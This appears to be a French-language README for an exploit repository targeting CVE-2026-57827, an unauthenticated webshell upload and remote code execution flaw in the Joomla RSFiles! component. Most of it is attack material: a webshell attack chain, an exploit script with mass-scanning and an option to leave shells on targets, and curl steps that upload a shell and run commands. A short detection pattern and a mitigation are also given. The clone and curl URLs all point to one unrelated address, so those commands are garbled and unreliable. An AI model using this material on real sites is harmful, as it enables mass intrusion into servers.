
Démontrer la vulnérabilité d'exécution de code à distance non authentifiée dans le composant Joomla RSFiles! via un dépôt de fichier arbitraire.
CVE-2026-57827 est une vulnérabilité critique (CVSS 9.8) de téléversement arbitraire de fichier non authentifié dans RSFiles! (com_rsfiles), un composant de gestion de fichiers et de téléchargement largement utilisé pour Joomla, versions < 1.17.12.
La vulnérabilité exploite un défaut de conception de contrôleur scindé : RSFiles! sépare son téléversement en deux tâches frontend — une vérification préalable (contrôle des permissions + liste blanche d'extensions) et une méthode d'écriture (enregistre le fichier sur le disque). La méthode d'écriture peut être appelée directement, contournant entièrement la vérification préalable. Aucune authentification, aucun jeton CSRF requis.
| Version | Statut |
|---|---|
| < 1.17.12 | Vulnérable |
| 1.17.12+ | Corrigée |
Découverte par : Phil Taylor, mySites.guru (10 juillet 2026) Éditeur : RSJoomla (rsjoomla.com) Composant : com_rsfiles
RSFiles! répartit son téléversement sur deux tâches frontend distinctes dans /components/com_rsfiles/controllers/rsfiles.php :
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, en contournant entièrement la vérification préalable.JFile::upload()), qui accepte tout type de fichier par défaut..htaccess de protection qui empêcherait l'exécution de PHP à cet endroit est un réglage d'administration opt-in qui est désactivé par défaut.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Fichier | Objectif |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Contrôleur avec les tâches vulnérables upload() et checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Modèle de formulaire de téléversement côté frontend (confirmé : name="file", task=rsfiles.upload) |
/downloads/ | Dossier de téléchargements par défaut à la racine web (protection .htaccess désactivée par défaut) |
/briefcase/ | Dossier Briefcase (également accessible en écriture) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Les contrôles de sécurité (contrôle de permission + liste d'autorisation d'extensions) constituent une étape de pré-vérification distincte de la méthode qui écrit réellement le fichier. Seule la première contient les contrôles. La seconde — celle qui écrit sur le disque — pouvait être appelée directement en forgeant le bon paramètre task dans l'URL, contournant ainsi tous les contrôles de sécurité.
C'est un exemple typique de l'anti-patron « contrôles et actions à des endroits différents » : la protection et l'opération qu'elle est censée protéger sont découplées, et un attaquant peut atteindre l'opération sans passer par la protection.
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Étape 1 — Téléverser le shell
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Étape 2 — Accéder au shell
curl 'https://candisexterior171.github.io'
Étape 3 — Exécuter des commandes
curl 'https://candisexterior171.github.io;hostname;uname -a'
Atténuation (si la mise à jour n'est pas possible)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php